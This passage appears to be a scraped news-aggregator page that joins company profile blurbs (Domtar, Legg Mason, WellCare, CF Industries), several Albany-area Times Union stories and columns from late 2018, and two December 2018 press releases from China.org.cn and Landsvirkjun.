manufactures, markets, and distributes communication papers, specialty and packaging papers, and absorbent hygiene products in the United States, Canada, Europe, Asia, and internationally. It operates through two segments, Pulp and Paper, and Personal Care. The company provides business papers, including copy and electronic imaging papers used in inkjet and laser printers, photocopiers, and plain-paper fax machines, as well as computer papers, preprinted forms, and digital papers for office and home use. It also offers commercial printing and publishing papers, such as offset papers and opaques used in sheet and roll fed offset presses; publishing papers, which include tradebook and lightweight uncoated papers for publishing textbooks, dictionaries, catalogs, magazines, hard cover novels, and financial documents; and converting papers for envelopes, tablets, business forms, and data processing/computer forms. In addition, the company provides papers for thermal printing, flexible packaging, food packaging, medical packaging, medical gowns and drapes, sandpaper backing, carbonless printing, labels and other coating, and laminating applications; and papers for industrial and specialty applications, such as carrier papers, treated papers, security papers, and specialized printing and converting applications. Further, it offers absorbent hygiene products, including absorbent briefs, protective underwear, underpads, pads, washcloths, and body patches under the Attends, Indasec, IndasSlip, and Reassure brands; and baby diapers, training and youth pants, and bed mats under the Comfees, Chelino, Nene, and Bambino brand names. The company serves merchants, retail outlets, stationers, printers, publishers, converters, and end-users. Domtar Corporation was founded in 1848 and is based in Fort Mill, South Carolina. Read More Legg Mason, Inc. is a publicly owned asset management holding company. Through its subsidiaries, the firm provides investment management and related services to company-sponsored mutual funds and other investment vehicles including pension funds, foundations, endowments, sovereign wealth funds, insurance companies, private banks, family offices, individuals, as well as to global, institutional, and retail clients. It launches and manages equity, fixed income, and multi-asset customized portfolios through its subsidiaries. The firm also launches and manages mutual funds and exchange traded funds for its clients through its subsidiaries. It invests in private and public equity, fixed income, and multi asset markets across the globe through its subsidiaries. Through its subsidiaries, the firm also invests in alternative markets. It also employs a combination of fundamental and quantitative research to make its investments through its subsidiaries. Legg Mason, Inc. was founded in 1899 and is based in Baltimore, Maryland. Read More WellCare Health Plans, Inc. provides government-sponsored managed care services. The company operates in three segments: Medicaid Health Plans, Medicare Health Plans, and Medicare Prescription Drug Plans (PDPs). The Medicaid Health Plans segment offers plans for beneficiaries of temporary assistance for needy families, supplemental security income, and aged blind and disabled residents; and other state-based programs, such as children's health insurance programs and long-term services and supports programs for qualifying families who are not eligible for Medicaid. The Medicare Health Plans segment provides Medicare, a federal program that provides eligible persons aged 65 and over, as well as some disabled persons with a range of hospital, medical, and prescription drug benefits; Medicare Advantage, a Medicare's managed care alternative to the original Medicare program, which offers individuals standard Medicare benefits directly through Centers for Medicare & Medicaid Services; and coordinated care plans that are administered through health maintenance organizations and require members to seek health care services and select a primary care physician from a network of health care providers. The Medicare PDPs segment provides Medicare part D PDP plans to Medicare-eligible beneficiaries. Its PDP plans offer national in-network prescription drug coverage, including a preferred pharmacy network. As of December 31, 2018, the company served approximately 5.5 million members in the United States. WellCare Health Plans, Inc. was founded in 1985 and is headquartered in Tampa, Florida. Read More CF Industries Holdings, Inc. engages in the manufacture and distribution of nitrogen fertilizer. The firm owns and operates nitrogen plants and serves agricultural and industrial customers through its distribution system. It operates through following segments: Ammonia, Granular Urea, UAN, AN, and Other. The Ammonia segment produces anhydrous ammonia, which is company's most concentrated nitrogen fertilizer product as it contains 82% nitrogen. The Granular Urea segment produces granular urea, which contains 46% nitrogen. The UAN segment produces urea ammonium nitrate solution, which is a liquid fertilizer product with a nitrogen content from 28% to 32%, is produced by combining urea and ammonium nitrate. The AN segment produces ammonium nitrate, which is a nitrogen-based product with a nitrogen content between 29% and 35%. The Other segment includes diesel exhaust fluid, nitric acid, urea liquor and aqua ammonia. The company was founded in 1946 and is headquartered in Deerfield, IL. Read More WHITPAIN -For the seventh year, Montgomery County Community Colleges Student Nursing Club has participated in the national Trees for Troops initiative, providing 170 Christmas trees for military families to make their holidays brighter and happier. Each year, nursing students hold fundraisers to purchase the trees at a discounted price. This year, the students raised $600 by selling raffle tickets for a donated HP 15 laptop at the annual Whitpain Community Festival. On Nov. 30, nursing students Kimberly Fortino-Chaples of Lansdale, Sunday Bassey of Norristown and Kendra Schultz of Birdsboro, along with Dr. Concetta Fiorentino, Nursing Faculty/Student Nurse Club Advisor, and Dr. Linda Roy, the Director of the Nursing Program joined members of the Pennsylvania National Guard, legislators, state and local officials and other community members at Bustards Christmas Trees in Lansdale to launch the national Trees for Troops weekend campaign. Owners Jay and Glenn Bustard invited the students because they are one of the most active groups to partner with Bustards to support this special initiative that sends Christmas trees to military families and troops. I always enjoy working with the students from Montgomery County Community College. Its nice to see people give back, said Jay Bustard. We have participated in Trees for Troops program since it started 14 years ago. Nationwide, more than 17,400 trees were delivered to 70 military bases across the country, and 250 trees were delivered to troops last year, according the Trees for Troops website. FedEx ships the trees from the tree farms to the military bases for free. Fortino-Chaples, a U.S. Army veteran, knows firsthand how difficult it is to be away from family during the holiday season. She spoke at the event about her experience and why the nursing students want to help with this program. We want to help military families who are missing loved ones during the holidays by giving them Christmas trees, she said, noting that they would be donating 25 trees this year. The nursing students also are a part of Joining Forces, a national initiative started by former First Lady Michelle Obama and Dr. Jill Biden. This program encourage organizations and schools to train nurses in the unique clinical challenges and best practices associated with caring for military service members, veterans and their families. Trees for Troops was launched by the Christmas SPIRIT Foundation in 2005. Since then, more than 193,237 real trees have been delivered to military families throughout the United States and overseas. Trees are contributed by Bustards and about 30 other Christmas tree growers and retail lots in the U.S. To learn more, visit http://www.treesfortroops.org. About Montgomery County Community College For more than 50 years, Montgomery County Community College has grown with the community to meet the evolving educational needs of Montgomery County. The Colleges comprehensive curriculum includes more than 100 associate degree and certificate programs, as well as customized workforce training and certifications. Students enjoy the flexibility of learning at the Colleges thriving campuses in Blue Bell and Pottstown, at the Culinary Arts Institute in Lansdale, and online through a robust Virtual Campus. As an Achieving the Dream Leader College, the institution is positioned at the vanguard of national efforts to increase completion, improve learning outcomes, and remove barriers to access for students. The College also is recognized regionally and nationally for its sustainability leadership, work with military veterans, community service and service learning opportunities, and use of classroom technology. For more information, visit http://www.mc3.edu. Albany Pamela Howard's to-do list for Jan. 2 includes this item: Call the mayor. Howard, who has been interim administrator of the Historic Albany Foundation since July, on Wednesday was named the organization's new executive director, effective Jan. 1. A decadeslong veteran in the not-for-profit world who worked in Albany for many years, Howard most recently was director of development at Saratoga Independent School. She said she has spent the past six months renewing relationships in Albany, first as she tried to steady Historic Albany following a period of upheaval and next as she put herself up for consideration for a permanent position running the 45-year-old, 400-member nonprofit that is dedicated to "protecting and preserving the built environment," as its mission statement says. Key among those relationships, Howard said, is with city its leadership. Although Historic Albany is a private organization that does not have official authority or regulatory power, it is a prominent and well-regarded voice for Albany's historic buildings. It also owns the city's oldest structure, the Van Ostrande-Radliff House at 48 Hudson Ave., which the foundation has been stabilizing since it was damaged when its neighbor, 50 Hudson Ave., was found to be irreparably damaged and was razed two years ago. Howard hopes to find a sympathetic ear in Mayor Kathy Sheehan, who about a year ago bought a circa-1857 rowhouse on St. Joseph's Park in the Ten Broeck Triangle Historic District of Arbor Hill, which Sheehan and her husband have since been renovating. Having a mayor invested in restoring a historic home is a reflection of what Howard sees as Historic Albany's spectrum of concerns. Invoking Edith Wharton's grand estate in Lenox, Mass., Howard said, "A year ago, if you had asked me about historic preservation, I would have thought of The Mount and taking care of big, pretty houses like that." But, Howard added, "After six months in the job, I see there's some of that, but it really comes down to the individual street level, the 'ordinary' house that's still important as somebody's home, as many people's home over the years." Howard, 54, has held membership, development and consulting positions with the Albany Institute of History & Art, the Boys & Girls Clubs of Albany, and Girls Inc. She was also founder and president of the personal concierge business At Your Service. A graduate of Mansfield University in Pennsylvania with a bachelor's degree in art history, Howard lives in Ballston Lake with her husband, Brian Richards, and their pets. "Based not only on her time with HAF, but her past work experience, her extensive and demonstrated skills and personality traits, we have great confidence in Pam's ability to steer the ship and take Historic Albany Foundation into its next chapter," said the foundation's board president, Kim Alvarez, in a statement. "Pam has a firm grasp on mission-based development, financial management, community relations, strategic planning and personnel oversight and has proven herself to be a quick study of preservation priorities and the connections to all the work that Historic Albany does to achieve our mission," Alvarez said. Sign up for The Knick Get the latest news and some area history with our afternoon newsletter. Howard is taking over at a time when Historic Albany has been in transition and turmoil for more than a year. Former executive director Susan Holland, who ran the organization for more than a decade, resigned in November 2017 to become executive director of Historic Ithaca. Her replacement, Richard Lundgren, who had retired to Chatham after a career in planning and commercial real estate, clashed with a faction of the board, specifically over the future of 48 Hudson, to such a degree that he and six board members resigned after he'd been in the job for just three months. Howard becomes executive director a year to the day after Lundgren started. "We call it the kerfuffle," said Howard. "When I came in, my mandate was to keep things going, to level things out. We do a lot of fundraising events, and a lot of our budget depends on them. We had to make sure that income kept coming in." Historic Albany has four employees for its office and warehouse; the latter collects and resells architectural parts and fixtures. The annual budget is about $400,000. Prime among the foundation's efforts in 2019 will be more stabilization of 48 Hudson, which dates to 1728. Howard said Historic Albany has spent about $60,000 on the building for repairs, maintenance, insurance and fees for archaeology and design related to a $268,000 state grant the foundation has received for the building. It has raised $40,000, about a third of the amount needed to be eligible to receive the full grant. A campaign for the remainder will be conducted in 2019, Howard said. The foundation's ultimate goal, Howard said, is to return 48 Hudson to a state that it will be appealing to an outside buyer wishing to invest in the city's history. "We own a fantastic piece of history, and we want to do right by it," she said. sbarnes@timesunion.com 518-454-5489 blog.timesunion.com/tablehopping @Tablehopping facebook.com/SteveBarnesFoodCritic Not long before voters in the Halfmoon-Waterford fire district last month spurned a roughly $12. 3 million bond to build a fire house, some homeowners in Waterford received their new municipal tax bill following a revaluation of their properties. It caused sticker shock for some. "I think the timing of the reassessment in Waterford and us going out to the vote was not to our advantage and didn't put us in the best position," said John D'Alessandro, one of five fire commissioner with the all-volunteer fire district in Saratoga County. He argued that the fire tax is "one of the smallest if not the smallest" portion of the tax bill. "So for an essential service that I don't think anybody would argue 'let's do away with,' you are paying a minimal amount," he said. Still, D'Alessandro conceded that there are some property tax payers who have probably reached their breaking point when it comes to the taxes they pay even for services like fire protection. D'Alessandro also noted the board has saved more than a $1 million in a building fund account to help offset the cost of what would have been a 20,000-square-foot firehouse and they planned to allocate money in future budgets to help pay some of the interest on the bond. It didn't impress the voters enough. A similar measure in Selkirk met the same fate. Earlier this month, a public referendum to bond $17.5 million for two new firehouses and upgrade a third in the Selkirk Fire Department in Bethlehem was overwhelmingly rejected by voters who defeated the spending plan 557-336. Jonathan Pierce, a Selkirk fire department spokesman, said "my sense is that this is a place where people say 'enough is enough' when it comes to voicing their displeasure about being overburdened by taxes that are often approved by elected officials." Had it passed, it would have meant an extra $100 more annually in taxes for an average household valued at $220,000. "I don't think people have a problem with paying another $100 for their fire taxes to protect their lives and properties. I think they're already paying an awful lot in other places," he added. The plan called for the closure of Station 1 in Selkirk and for the property to be sold. A new building that would have served as the district's headquarters on Route 9W would have been built. Sign up for The Knick Get the latest news and some area history with our afternoon newsletter. As part of that same proposal, Station 2 in Glenmont was to be leveled to make way for a modern fire house and Station 3 in Bethlehem would have undergone renovation. "The board of fire commissioners still believes in that plan so our next steps are to go back and talk with the community and try to understand what they're looking for and what makes sense for the residents as well as the safety of the volunteer firefighters," said Pierce. D'Alessandro said the building committee has already met a few times after the failed 366-312 vote in southern Saratoga County. He said they are weighing several possible options for the future. "We're just doing our due diligence again from Square One and we're going to move forward," he added. "While we would have liked to have won, we're not really demoralized or frustrated." He conceded the spending plan created confusion for some voters. D'Alesandro said long lines forced some people to wait up to 90 minutes to vote and fire officials discovered afterward that a "significant" number of people who didn't live in the fire district managed to cast ballots. "The people that we had signing people in and checking the rolls got overwhelmed," he added. He said the current 14,500 square-foot fire station on Middletown Road, though centrally located, is old and cannot accommodate modern day fire apparatus. Albany In the months since Ellazar Williams was shot and paralyzed by an Albany police detective, we have heard, again and again, that the shooting was justified because the teenager was an immediate threat to the officer. The initial police report said Williams was running toward Detective James Olsen with a knife in hand, leaving the officer with no choice but to fire. Later, while announcing the end of the internal investigation, police said Olsen faced "imminent danger" and that's why, as Chief Eric Hawkins put it, "the use of force was necessary." The claim was heard again on Friday, when District Attorney David Soares and David Rossi, his chief assistant, said a grand jury had cleared Olsen of criminal wrongdoing. "Detective Olsen indicates that Mr. Williams ignored his command and ran in his direction with the knife," Rossi said. There's a major problem. The claim is not true. Williams did not charge Olsen. He was trying to get away. That's been obvious in prior video of the shooting, but it hits you over the head in the clip released this week by Williams' attorneys, who used a marvelous technique called "zooming in" to give us a better view of what happened. In the video, Williams is obviously running from Olsen. Williams falls and again starts to run when he is shot from behind. That fact is as clear as an Arizona sunrise, and to believe otherwise is to doubt your lying eyes. The shooting happened on an August afternoon after police received a call about a disturbance involving Williams in a store on Central Avenue. When police approached Williams, he ran and within minutes was shot in a nearby courtyard. The bullet that paralyzed Williams is still lodged in his spine. It took two months, well after the conclusion of the police investigation, before anyone in the public saw video footage. When a clip was finally shown at a Common Council meeting, Hawkins would only concede that the video is "inconclusive." The chief should get his vision checked because others in the room could see the truth. "It clearly shows the young man was trying to flee police," Councilman Derek Johnson, who represents the South End, said that day. "The video doesn't show imminent danger." Nevertheless, police have charged Williams with menacing a police officer, a felony. Whether the charge sticks rests with Soares, who will be under significant pressure to prosecute. After all, if Williams wasn't menacing Olsen, the officer had no justification for shooting him. Soares could have turned this whole mess over to an independent prosecutor. Instead, he decided his office would investigate, and the responsibility for deciding on charges against Olsen would be dumped on the anonymous members of a grand jury. The DA had no business investigating this case. Impartiality was impossible. Olsen earned more overtime last year than any other Albany officer, and you can bet many of those extra hours were spent working with Soares' team on Lodge Street. Prosecutors depend on detectives for the success of their cases. They become friendly with them. Sign up for The Knick Get the latest news and some area history with our afternoon newsletter. As one former prosecutor told me, you can't sit across from someone a couple of days a week and build a case against the person. And given that future cases may depend on that very same detective and his colleagues, prosecutors have a good reason to duck behind the blue line. More Information Contact columnist Chris Churchill at 518-454-5442 or email cchurchill@timesunion.com See More Collapse So it should surprise no one that a grand jury, in secret proceedings, cleared Olsen of wrongdoing. Nor should it be a surprise that Rossi, as he presented evidence to reporters last week, suddenly sounded more like a defense attorney than a prosecutor. What was the grand jury told? We don't get to know. "The district attorney's office can pretty much get what they want from a grand jury," said Alice Green of the Center for Law and Justice. "They're in control." Green, who has spent three decades confronting Albany police, was skeptical of the department's claims about the shooting from the start, and the newly released video more than justifies that skepticism. The truth is clear, she said, despite the attempts to obscure and deny it. None of this is meant to justify Williams' decision to run from police. Nor is it meant to downplay the difficult job officers have including the split-second decisions they're forced to make when pursuing a potentially dangerous suspect. It's admittedly easy to second guess when safely sitting at a keyboard. Still, it is disturbing that no one in a position of authority is honest enough to acknowledge that the evidence doesn't back the official narrative. No one will admit that Williams was fleeing when he was shot in the back. No one will concede that the use of force was unnecessary. But the video is not lying. Neither are your eyes. cchurchill@timesunion.com 518-454-5442 ALBANY Last week a grand jury cleared a city detective of criminal wrongdoing in the shooting of 19-year-old Ellazar Williams, which left him paralyzed from the chest down. Community members disappointed with the decision now plan to do something about it. On Wednesday night, the Center for Law and Justice and citizens held a community forum on the shooting of Williams, discussing the evidence presented, what they could do to help the Albany resident and how to prevent this from happening again. Their first step? Forming a petition to urge Albany County District Attorney David Soares to drop the charges against the man. Williams currently faces a felony charge of menacing a police officer and misdemeanor weapons possession. "If people want to have (Williams') menacing charge dropped, reduced and not presented then we need to tell the district attorney not to do it," Albany resident Jackie Williams said. "It is possible." Williams was shot Aug. 20, behind the Tony Clement Center for Education, by Detective James Olsen. Police said Williams ran from them following a disturbance at a nearby Central Avenue convenience store where a gun allegedly was displayed. Williams allegedly had a knife when Olsen shot him. Williams was paralyzed from the chest down as a result. "When you get shot in the back and are paralyzed I don't think any of us realize what that means to the person who is paralyzed and the family," Alice Green, a local civil rights leader, said at the meeting. Sign up for The Knick Get the latest news and some area history with our afternoon newsletter. "We want to make sure other young men and women of color don't have to go through this," Green said. Along with the petition to drop the charges, community members also brought up concerns about Soares' involvement in the investigation. "I understand that the facts will frustrate you and will upset you but New York has the benefit of being able to elect their district attorneys," Zilka Saunders, a lawyer and Albany resident said. "If you really want to get their attention the lesson is less about marching and the message is more about marching to the polls." Both Soares and Albany Police Chief Eric Hawkins were invited to the forum. Neither attended. ALBANY The popular All Over Albany news and culture website announced Thursday that as of 2019 it will be no more. "One of the secrets of AOA all these years has been that we were often writing to ourselves," an announcement posted on AOA the homepage states. "To be curious, to pay attention, to try something new, to talk with more people, to listen, to understand that change is hard but often necessary." "And here is a big change: All Over Albany will be ending December 31." The site, which is run by Mary Darcy and Greg Dahlmann, will continue to publish content until the end of 2018. "We've been doing it a long time," Dahlmann said on Thursday. "The last few years have been a grind and it's fair to say that no one was getting rich off of it." Still, All Over Albany has been able to carve out a niche to become a digital media force in the Capital Region, publishing things from photos of the area, profiles of locals, news in the community and upcoming events. Its Facebook page alone has 10,860 followers and its Twitter account has nearly 58,000 followers. The decision to end the site was not easy. "I'm going to miss many things, most of all the people," Dahlmann said. "It was a tremendous opportunity. I met all sorts of amazing and interesting people that we would never have had the opportunity to meet. I'm really grateful for that." Sign up for The Knick Get the latest news and some area history with our afternoon newsletter. Dahlmann said that he can't speak for Darcy, but he plans to take some time for himself. But he is uncertain what his future holds. "I'll be figuring out what is next," he said. Meanwhile, when asked where people should look for good information about Albany, he said the Times Union. "I hear they are running a good paper," he said. "I think the people there are solid." Sara Cline contributed. (Provided photo) ALBANY Pamela Howard, who has been running the Historic Albany Foundation on an interim basis since July, will become the new executive director on Jan. 1, board President Kim Alvarez said Wednesday. Howard has over 30 years of experience in both the nonprofit and the for-profit sectors, an extensive background in successful fundraising and development, and financial, personnel and project management expertise, according to the foundation. ALBANY State Supreme Court Judge Patrick McGrath ruled on Wednesday that the state Joint Commission on Public Ethics must take a vote on whether to investigate the activities of Joe Percoco, a former top aide to Gov. Andrew M. Cuomo, who extensively used a government office while managing Cuomo's 2014 re-election campaign. McGrath ruled that JCOPE's 14 commissioners must take such a vote with 30 days if they have not done so, and then report to McGrath that they have voted. The public, however, might never learn the result of the vote due to the panel's confidentiality requirements. JCOPE had fought the lawsuit, which primarily sought to force the body to vote on whether to probe Percoco. State Republican Party chairman Ed Cox and former gubernatorial candidate Marc Molinaro, who brought the complaint against Percoco, argue that under state law JCOPE is obligated to notify them if it votes not to pursue the investigation. In a statement, Cox said the ruling "forces JCOPE to live up to their legal obligations, which they apparently have been ignoring because they are controlled by Gov. Cuomo." JCOPE spokesman Walter McClure said Wednesday that the watchdog is only required to notify people who file complaints that a JCOPE probe has closed if the panel has voted to open a formal investigation. Michael Hutter, the attorney for Cox and Molinaro, told the Times Union he believes the law will ultimately require JCOPE to notify the Republican complainants of the vote's results. As the Times Union previously reported, neither Cuomo's government office nor his campaign received a "15-day-letter" from JCOPE indicating it had started any initial investigation ahead of a vote by the commissioners on whether to open a more wide-ranging probe into Percoco's 2014 campaign activities. State law appears to mandate that such a letter be sent to the target of a sworn complaint which in this case would include Cuomo. The complaints lodged as Molinaro unsuccessfully ran for governor this year questioned not only Percoco's possibly illegal use of state resources for campaign purposes, but whether Cuomo was aware of it. In a major federal trial last winter, Percoco was convicted of taking more than $300,000 from two development firms in exchange for government favors. He was sentenced last month to six years in prison. Percoco's apparent campaign work in his state office occurred during an eight-month period in 2014 when he was managing the governor's re-election effort but was not working for the Executive Chamber. Those activities provided key context in the trial, but were not the basis of any of the federal charges against him. In addition to filing a complaint with JCOPE, Cox also formally requested the Manhattan district attorney's office launch a criminal probe of Percoco's campaign work from his taxpayer-funded office. In July, Percoco's attorney Barry Bohrer told the Times Union he didn't know whether JCOPE or the Manhattan district attorney's office were investigating the former aide's campaign work. Evidence presented at trial and records subsequently examined by the Times Union and others showed that Percoco continued to use his desk at the governor's office in Manhattan. Cuomo's desk in that government office was just steps away from Percoco's, and records obtained by the Times Union show that on several days when the aide's state phone was used to make campaign-related calls, the governor was present in the Manhattan office. Cuomo has said he was unaware that Percoco was campaigning from his office, and has claimed he believed Percoco was merely doing "transition work" as he left his former position as executive deputy secretary. Sign up for The Knick Get the latest news and some area history with our afternoon newsletter. Cox has scoffed at that explanation: "It is clear from sworn testimony and hard evidence there is little doubt that Cuomo committed the crime of abusing state resources for personal and political gain," he said Wednesday. Cuomo senior advisor Rich Azzopardi said Wednesday the administration has said it would cooperate with any inquiry and noted it is not a party to the suit. "Ed Cox was caught redhanded as an unregistered fracking lobbyist and it's clear his command of the truth is as good as his record of winning elections," Azzopardi said. Percoco's phone records show that over the eight months in question, 68 calls were made from his former state desk phone to Cuomo's Manhattan campaign headquarters an apparent violation of state regulations. Percoco's old phone line was also often used to call Cuomo's fundraisers, campaign consultants and the campaign's election lawyer. There were 837 calls over 68 days made from the taxpayer-funded phone in Percoco's former office. JCOPE, created in 2011, has faced abundant criticism that its rules prevent the public from knowing whether or not it is pursuing an investigation. It has also been the subject of criticism for its close ties to Cuomo, who appoints a plurality of its commissioners. Since its inception, all of JCOPE's executive directors have been former Cuomo attorneys. Its current top staffer, Seth Agata, was an administration counsel and campaign volunteer for Cuomo in 2014. He appeared as a witness at Percoco's trial. Cox said in his statement that every New Yorker "should be deeply alarmed by the notion that the legal body responsible for rooting out corruption is beholden to the governor and apparently broke its own laws to cover up his crimes." "... (It) never should have come to this, particularly during an election year when the public had a right to know," he continued. "We will not rest until there is justice and a truly independent ethics body that will go after corruption without fear or favor, no matter where it leads." Glenmont Kim Wickham decided to go to Germany for Christmas. It was December 1988, and she was finishing a semester abroad in London with friends and other classmates from the musical-theater program at Syracuse University when she changed her plane ticket. On Dec. 21, she flew to Frankfurt to spend the holidays with a family she knew. That same day, her SU friends, 35 in all, got on Pan Am flight 103 to come home. The flight, on a Boeing 747, took off from London's Heathrow airport at 6:25 p.m., bound for JFK in New York City. About 35 minutes later, at an altitude of 31,000 feet and a speed of 499 mph, the plane was blown out of the sky by the explosion of a bomb planted by Libyan agents. Everyone on board was killed 243 passengers and 16 crew as were 11 people on the ground in Lockerbie, a town in southwestern Scotland. Among the dead was Wickham's best friend, Nicole Boulanger. "She was the most talented person in the whole department, with the most beautiful singing voice I'd ever heard," said Wickham, now 51, who grew up in Delmar and lives in Glenmont. "I just know she would have been a big Broadway star." When Wickham got back to Syracuse University for the spring semester, a friend from the musical-theater department named Jon Greenberg asked if she wanted to collaborate on a song in memory of Boulanger. They called it "Closer Than We Know." Wickham sang it at her final senior performance, accompanied by a piano. And then she didn't sing again, at all, for more than a decade. "I felt it incredibly guilty," said Wickham. "Why was it her and not me?" In her mid-20s, Wickham started the career that she still holds today, as the office manager of a dental practice. Another five-plus years went by, her grief continuing to manifest itself in a lack of desire to sing, until Wickham's perspective started to change. "I started thinking that Nicole would be upset with me," said Wickham. "I do have this talent, and I wasn't using it. I decided that starting to sing again for Nicole, for my other friends who were on the plane, would honor them the best way I could." She took guitar lessons. She recorded, on a cassette deck, "Closer Than We Know." She auditioned for the Playin' with Fire Band, a classic-roots-rock group she still sings with today. When Wickham told Dan Wray, lead guitarist for Playin' with Fire, about "Closer Than We Know," she said, "He became obsessed with getting the song done. ... The first time I tried it with the band, I couldn't sing. I just broke down." Sign up for The Knick Get the latest news and some area history with our afternoon newsletter. The group continued to work at it, turning what had been a musical-theater song previously performed only with piano or guitar into a full-band rock ballad, complete with guitar solo. This past June, Playin' with Fire released a 12-song CD of all original tunes. The title track is "Closer Than We Know." Wickham estimates that she's performed the song with the band half a dozen times since the CD-release party over the summer. It gets easier, albeit only incrementally, each time. "Listening to the song on the CD and performing it has desensitized me," she said. "If I can distance myself from it, I can focus on doing it justice, really singing the song." Wickham remains in touch with Boulanger's family, who live in Massachusetts. (Wray's guitar solo on "Closer Than We Know" is dedicated to Boulanger's mother.) And Wickham recently connected with the biological mother of her roommate from London, who was adopted. Wickham got in touch after the woman, whom she'd never met or even heard of, posted a photo of Wickham's roommate on an online remembrance page for Lockerbie victims. And Wickham and Boulanger's mother, Jeannine, were interviewed by a crew for the documentary "Lockerbie: The Unheard Voices," which premiered on British television early this month. Wickham hasn't seen the documentary, so she isn't sure whether "Closer Than We Know" is used. "I'm so happy the song turned out this way," said Wickham. "I love singing it with all my heart, and it means so much, after all these years, for Nicole's family to be able to hear it and know how much she meant to me." sbarnes@timesunion.com 518-454-5489 blog.timesunion.com/tablehopping @Tablehopping facebook.com/SteveBarnesFoodCritic [December 20, 2018] China celebrates the 40th anniversary of reform and opening up: New beginning and new journey BEIJING, Dec. 20, 2018 /PRNewswire/ -- A news report by China.org.cn on the 40th anniversary of China's reform and opening up: A fate-changing meeting for China was underway today 40 years ago. That was the third plenary session of the 11th central committee of the Communist Party of China. The conference liberated people's thinking, and broke the old institutional restrictions and the constraints imposed by old concepts, paving way for the nation to embrace reform and opening up. From then on, the power of reform, gushing out like flood, blazed a trail that has led to China becoming a strong and prosperous country. Over the past 40 years, China on countless occasions has used the expression "the first" to mark the progress of reform and opening up, which serve as footnotes of the splendid process of advancement. In 1978, farmers of 18 families in Xiaogang village, Anhui province, left their red fingerprints on an agreement that allocated previous collectively-owned land to each household, marking the beginning of China's rural reform. In 1980, Zhang Huamei, a 19-year-old girl from Wenzhou, Zhejiang province, obtained her private business license, becoming the first person to gain this right after the reform and opening up policy was launched. In 1987, after Kentucky Fried Chicken opened its first outlet on the Chinese mainland in Qianmen, Beijing, Chinese citizens were able to taste foreign fast food for the first time at home. In 1990, the Shanghai Stock Exchange opened, marking the initiation of China's capital market. In 1994, China saw its first 64k (kilobit) international dedicated line conected to the Internet. In 2001, China entered the World Trade Organization. This quickened the pace of the country's integration into the international community, advancing its economic growth onto the fast track of globalization. In 2007, China raised the speed of its rail transport for the sixth time. The CRH bullet train, the first China-developed high-speed train, went into service, ushering in an era of high-speed rail travel. From 1978 to 2018, China's Gross Domestic Product increased by 224 times, enabling it to become the world's second-largest economy, with its share in the global economy rising from 1.8 percent to 15 percent with a total size of $11.6 trillion. These great changes all stem from that conference 40 years ago. Yet, the achievements that China has made over the past 40 years cannot be attributed to any one-off action: rather, they have come from the Chinese people's hard work. And China's reform and opening up is not a once-and-for-all change, but a development path that will never end. In celebrating the 40th anniversary of reform and opening up, China is looking forward to continuing along a new section of an historic journey. China Mosaic http://www.china.org.cn/video/node_7230027.htm China celebrates the 40th anniversary of reform and opening up: New beginning and new journey http://www.china.org.cn/video/2018-12/20/content_74295418.htm About China.org.cn Founded in 2000, China Internet Information Center (China.org.cn/China.com.cn) is a key state news website under the auspices of the State Council Information Office, and is managed by China International Publishing Group. We provide round-the-clock news service in ten languages. With users from more than 200 countries and regions, we have become China's leading multi-lingual news outlet introducing the country to the outside world. We are one of the country's authoritative outlets for government press releases and are authorized to cover various major events. "Live Webcast" is our online webcasting service to present State Council Information Office press conferences in both Chinese and English languages. We are reputed for timely and accurate delivery of news and information, and wide interactions with audiences. In addition, we are authorized to publish and live broadcast major events and press conferences of ministries, local government agencies and institutions as well as enterprises. In the era of mobile internet, we endeavor to create an array of products for mobile devices headed by the multilingual WAP platform and the mobile APP. We also use Chinese and international social media to publish information for different user groups. In the future, CIIC will continue to offer authoritative information about China, tell China's stories, voice China's opinions, and introduce a vivid, panoramic and multicultural China to the world through multi-language, multi-media and multi-platforms. View original content to download multimedia:http://www.prnewswire.com/news-releases/china-celebrates-the-40th-anniversary-of-reform-and-opening-up-new-beginning-and-new-journey-300769313.html SOURCE China.org.cn [ Back To TMCnet.com's Homepage ] [December 20, 2018] Landsvirkjun to Provide Power for New Data Center in Iceland Owned by a Subsidiary of Etix Everywhere Borealis Landsvirkjun, Iceland's national power company, and Etix Everywhere (News - Alert) Iceland, a subsidiary of Etix Everywhere Borealis, have signed a power contract for the supply of 25 MW to the company's new data center in the Blonduos municipality in the North of Iceland. Operations have already begun in Blonduos and construction work to expand the data center is currently underway. The center will be the first energy-intensive industrial operation to connect to Landsnet's transmission network in the area. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20181220005112/en/ Eirikur S. Svavarsson, Legal Council for Etix, Arni Jensen, Chief Business Officer at Etix, Haraldur Hallgrimsson, Director of Sales and Business Development at Landsvirkjun, Bjorn Brynjulfsson, CEO of Etix Everywhere Borealis, Stefania Gurun Halldorsdottir, Executive Vice President, Marketing and Business Development at Landsvirkjun, Horur Arnarson, CEO of Landsvirkjun, Gylfi Mar Geirsson, Head of Power Procurement at Landsvirkjun, Vala Valorsdottir, Business Development Manager at Landsvirkjun and Geir Arnar Marelsson, Legal Council at Landsvirkjun. (Photo: Business Wire) Etix Everywhere Borealis is part of Iceland's fast-growing data industry and its subsidiary, Etix Everywhere Iceland, will become Landsvirkjun's third client in the industry. Etix Everywhere Borealis has expanded its operations rapidly: it alread operates a data center in Reykjanesbr in the south of Iceland and the Blonduos facility will be the largest data center the company is involved with on the island. The company currently offers "competitive solutions for HPC and Blockchain infrastructure," and will eventually also offer total hosting capacity of about 30,000 servers, thanks to its wholly or partly-owned data centers. A combination of renewable energy resources, competitive terms and the Icelandic climate contribute to creating favorable conditions for data centers in Iceland. Natural cooling means that equipment cooling costs are minimal and operating the centers is therefore more efficient in Iceland than it would be elsewhere. The energy covered by the agreement will be delivered from Landsvirkjun's current power station network. Landsvirkjun has recently opened a new geothermal station in eistareykir in the Northeast of Iceland and a second hydropower station in Burfell (Burfell II) in South Iceland. The company now operates 15 hydropower stations, three geothermal stations and two wind turbines. The ratification of the contract is subject to certain conditions. Horur Arnarson, CEO at Landsvirkjun: "Demand for energy from Landsvirkjun, generated from renewable, natural resources continues to grow and we look forward to inviting another flourishing company to our already well-established group of international customers. The agreement confirms Iceland's competitiveness in the global electricity market, reinforcing Landsvirkjun's operations and supporting the growth of industry in Iceland." Bjorn Brynjulfsson, CEO at Etix Everywhere Borealis: "We are in the process of developing a new generation of data centers, utilising Icelandic environmental conditions and our own expertise in the design and development of data solutions. The development of the Blonduos project is a purposeful step in reducing our customers' environmental footprint and the power terms in the contract allow for substantial expansion." Click here for media assets. About Etix Everywhere Borealis Etix Everywhere Iceland is a wholly owned subsidiary of Etix Everywhere Borealis, the 